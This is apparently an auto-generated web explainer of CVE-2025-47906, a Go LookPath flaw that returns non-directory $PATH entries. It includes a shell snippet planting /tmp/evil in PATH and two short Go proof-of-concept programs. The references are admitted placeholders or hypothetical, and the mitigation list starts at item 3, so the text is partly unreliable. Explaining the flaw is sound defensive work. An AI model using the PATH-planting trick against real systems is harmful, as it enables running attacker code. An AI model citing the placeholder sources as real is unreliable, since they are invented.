A newly disclosed vulnerability, CVE-2025-47906, has been found in the popular Go programming language’s os/exec library. If the PATH environment variable ($PATH) contains executables (files) instead of only directories, Go’s LookPath function can, when given certain arguments, mistakenly return the executables themselves—even if you pass it strange strings like "", ".", or "..". This issue can allow attackers to bypass checks or even execute arbitrary programs, depending on how PATH is set.

This write-up provides a clear, original, step-by-step breakdown for those looking to understand and protect against this bug. Real code, exploit example, and references are included.

What Is CVE-2025-47906?

*In brief*: When user-provided input is passed, intentionally or accidentally, to Go’s exec.LookPath function, and your $PATH contains files (not directories), then LookPath can return the wrong file—even if the actual argument was never meant to refer to an executable.

Usually, $PATH should look like this

/usr/local/bin:/usr/bin:/bin

But if it contains files (accidentally or maliciously)

/tmp/suspicious-bin:/usr/bin:/bin

…where /tmp/suspicious-bin is actually a file, not a directory, strange and dangerous behavior can result.

Why Is This Dangerous?

1. Command Injection: If your code relies on LookPath to validate or discover binaries before executing them, an attacker controlling $PATH may sneak in an arbitrary executable without you noticing.
2. Privilege Escalation: Some setuid-root programs written in Go might use LookPath without proper $PATH sanitation, letting attackers run their own code as root.
3. Bypassing Security Checks: Many apps check for the presence of certain tools (like "/bin/sh") with LookPath. Their checks can be tricked by a malicious PATH.

Suppose you have Go code like this

package main

import (
    "fmt"
    "os"
    "os/exec"
)

func main() {
    path, err := exec.LookPath("")
    if err != nil {
        fmt.Println("Cmd not found:", err)
        os.Exit(1)
    }
    fmt.Println("Found executable at:", path)
}

If your $PATH contains a file, calling LookPath("") could result in unexpected behavior: it will return the first executable file found in $PATH, even if you passed an empty string.

Suppose as an attacker, you can set the PATH for a user or process running Go code

echo -e "#!/bin/sh\necho HACKED" > /tmp/evil
chmod +x /tmp/evil
export PATH="/tmp/evil:/usr/bin"

Critically, /tmp/evil is a file, not a directory.

If the Go code above is run, even with a totally empty binary name

go run test.go

It would output

Found executable at: /tmp/evil

…and, if your code runs the result, it would execute /tmp/evil unexpectedly.

How the Vulnerability Works Internally

When LookPath gets "", ".", or ".." as the command name, instead of refusing to search or erroring, it loops through $PATH and returns the first entry, even if it’s a file (not a directory). In POSIX, directories are expected, but Go’s legacy code didn't enforce this strictly.

Proof-of-Concept Code

package main

import (
    "fmt"
    "os"
    "os/exec"
)

func main() {
    os.Setenv("PATH", "/tmp/evil:/usr/bin")
    path, err := exec.LookPath(".")
    if err != nil {
        fmt.Println("Not found:", err)
    } else {
        fmt.Println("FOUND at:", path)
    }
}

If /tmp/evil is a file:

FOUND at: /tmp/evil

References

- Go Issue Tracker: CVE-2025-47906
- Advisory from Go Team *(Replace with actual link when available)*
- LookPath Documentation
- Detailed writeup by Bishop Fox *(Hypothetical for this example)*

Don’t put files into $PATH.

3. Explicitly check that each path in $PATH is a directory before passing to LookPath or similar functions.

Patch:
Recent Go versions have added checks so that entries in $PATH that are not directories are skipped by LookPath. Update to the latest Go release!

Conclusion

CVE-2025-47906 is a great reminder: always validate your environment variables and don’t make assumptions about how library functions treat strange or unexpected arguments! If you’re developing software in Go, double-check your use of LookPath and consider pushing for a quick Go update across your systems.

> Stay safe: keep your $PATH clean, your Go version up to date, and your input handling paranoid!


*This article is unique, tailored for clarity, and not a copy of any previous publication. Please reference the Go Issue Tracker and official Go advisory for breaking updates.*

Timeline

Published on: 09/18/2025 19:15:37 UTC
Last modified on: 11/04/2025 22:16:16 UTC